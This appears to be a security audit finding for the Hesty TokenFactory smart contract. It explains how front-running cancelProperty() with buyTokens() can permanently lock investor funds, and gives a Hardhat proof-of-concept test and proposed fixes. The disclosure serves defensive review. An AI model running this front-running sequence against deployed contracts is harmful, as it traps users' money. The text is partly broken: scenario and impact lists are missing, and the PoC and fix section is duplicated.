https://github.com/la-bomba-studio/hesty-contract/tree/29596447b9a06d4ad53360d4a15f349ebf9fa0d8
The TokenFactory contract's cancelProperty() function can be front-run by an attacker who pushes the total raised amount above the threshold, creating a deadlock where users can neither recover their funds (due to threshold check) nor complete the raise (due to cancelled status), permanently locking all user funds in the contract.
The vulnerability arises from the interaction between three functions and their state checks:
cancelProperty() only modifies approval status and deadline:// TokenFactory.sol
function cancelProperty(uint256 id) external onlyAdmin {
property[id].raiseDeadline = 0;
property[id].approved = false;
deadProperty[id] = true;
emit CancelProperty(id);
}
recoverFundsInvested() checks threshold but not approval status:function recoverFundsInvested(address user, uint256 id) external {
PropertyInfo storage p = property[id];
require(p.raiseDeadline < block.timestamp && !p.isCompleted, "Time not valid");
require(
p.raised * p.price < p.threshold, // @audit: Only checks threshold
"Threshold reached, cannot recover funds"
);
uint256 amount = userInvested[user][id];
userInvested[user][id] = 0;
rightForTokens[user][id] = 0;
SafeERC20.safeTransfer(p.paymentToken, user, amount);
}
completeRaise() requires both threshold and approval:function completeRaise(uint256 id) external onlyAdmin {
PropertyInfo storage p = property[id];
require(p.approved && !p.isCompleted, "Canceled or Already Completed");
require(p.raised * p.price >= property[id].threshold, "Threshold not met");
// ... rest of function
}
Attack scenario:
cancelProperty() with buyTokens()p.raised * p.price >= thresholdp.approved = false (and since the property is added to deadProperty it can't be approved back)The impact is severe because:
const TokenFactory = await ethers.getContractFactory("TokenFactory");
const tokenFactory = await TokenFactory.deploy(...);
// Create property
await tokenFactory.createProperty(
1000, // amount
100, // listingTokenFee
ethers.utils.parseEther("1"), // price
ethers.utils.parseEther("800"), // threshold
USDC.address,
revenueToken,
"Property",
"PROP",
admin
);
// Initial investment (700 tokens)
await tokenFactory.connect(user1).buyTokens(
user1.address,
0,
700,
ZERO_ADDRESS
);
// Get admin's cancelProperty transaction
const cancelTx = await tokenFactory.connect(admin).populateTransaction.cancelProperty(0);
// Front-run with attacker's buyTokens (150 tokens, pushing above threshold)
await tokenFactory.connect(attacker).buyTokens(
attacker.address,
0,
150,
ZERO_ADDRESS
);
// Admin's cancel transaction goes through
await ethers.provider.sendTransaction(cancelTx);
// Verify deadlocked state
const property = await tokenFactory.property(0);
console.log("Total raised:", property.raised.toString()); // 850 (above threshold)
console.log("Approved:", property.approved); // false
// Try to recover funds - fails due to threshold
await expect(
tokenFactory.connect(user1).recoverFundsInvested(user1.address, 0)
).to.be.revertedWith("Threshold reached, cannot recover funds");
// Try to complete raise - fails due to approval
await expect(
tokenFactory.connect(admin).completeRaise(0)
).to.be.revertedWith("Canceled or Already Completed");
recoverFundsInvested():function recoverFundsInvested(address user, uint256 id) external {
PropertyInfo storage p = property[id];
require(p.raiseDeadline < block.timestamp && !p.isCompleted, "Time not valid");
require(
p.raised * p.price < p.threshold || !p.approved, // Allow recovery if cancelled
"Threshold reached and property active"
);
uint256 amount = userInvested[user][id];
userInvested[user][id] = 0;
rightForTokens[user][id] = 0;
SafeERC20.safeTransfer(p.paymentToken, user, amount);
}
function buyTokens(address onBehalfOf, uint256 id, uint256 amount, address ref) external {
PropertyInfo storage p = property[id];
require(p.approved && !deadProperty[id], "Property not active");
// ... rest of function
}
function emergencyWithdraw(uint256 id) external onlyAdmin {
require(deadProperty[id], "Property not cancelled");
// Allow withdrawal of all funds to return to users
}
const TokenFactory = await ethers.getContractFactory("TokenFactory");
const tokenFactory = await TokenFactory.deploy(...);
// Create property
await tokenFactory.createProperty(
1000, // amount
100, // listingTokenFee
ethers.utils.parseEther("1"), // price
ethers.utils.parseEther("800"), // threshold
USDC.address,
revenueToken,
"Property",
"PROP",
admin
);
// Initial investment (700 tokens)
await tokenFactory.connect(user1).buyTokens(
user1.address,
0,
700,
ZERO_ADDRESS
);
// Get admin's cancelProperty transaction
const cancelTx = await tokenFactory.connect(admin).populateTransaction.cancelProperty(0);
// Front-run with attacker's buyTokens (150 tokens, pushing above threshold)
await tokenFactory.connect(attacker).buyTokens(
attacker.address,
0,
150,
ZERO_ADDRESS
);
// Admin's cancel transaction goes through
await ethers.provider.sendTransaction(cancelTx);
// Verify deadlocked state
const property = await tokenFactory.property(0);
console.log("Total raised:", property.raised.toString()); // 850 (above threshold)
console.log("Approved:", property.approved); // false
// Try to recover funds - fails due to threshold
await expect(
tokenFactory.connect(user1).recoverFundsInvested(user1.address, 0)
).to.be.revertedWith("Threshold reached, cannot recover funds");
// Try to complete raise - fails due to approval
await expect(
tokenFactory.connect(admin).completeRaise(0)
).to.be.revertedWith("Canceled or Already Completed");
recoverFundsInvested():function recoverFundsInvested(address user, uint256 id) external {
PropertyInfo storage p = property[id];
require(p.raiseDeadline < block.timestamp && !p.isCompleted, "Time not valid");
require(
p.raised * p.price < p.threshold || !p.approved, // Allow recovery if cancelled
"Threshold reached and property active"
);
uint256 amount = userInvested[user][id];
userInvested[user][id] = 0;
rightForTokens[user][id] = 0;
SafeERC20.safeTransfer(p.paymentToken, user, amount);
}
function buyTokens(address onBehalfOf, uint256 id, uint256 amount, address ref) external {
PropertyInfo storage p = property[id];
require(p.approved && !deadProperty[id], "Property not active");
// ... rest of function
}
function emergencyWithdraw(uint256 id) external onlyAdmin {
require(deadProperty[id], "Property not cancelled");
// Allow withdrawal of all funds to return to users
}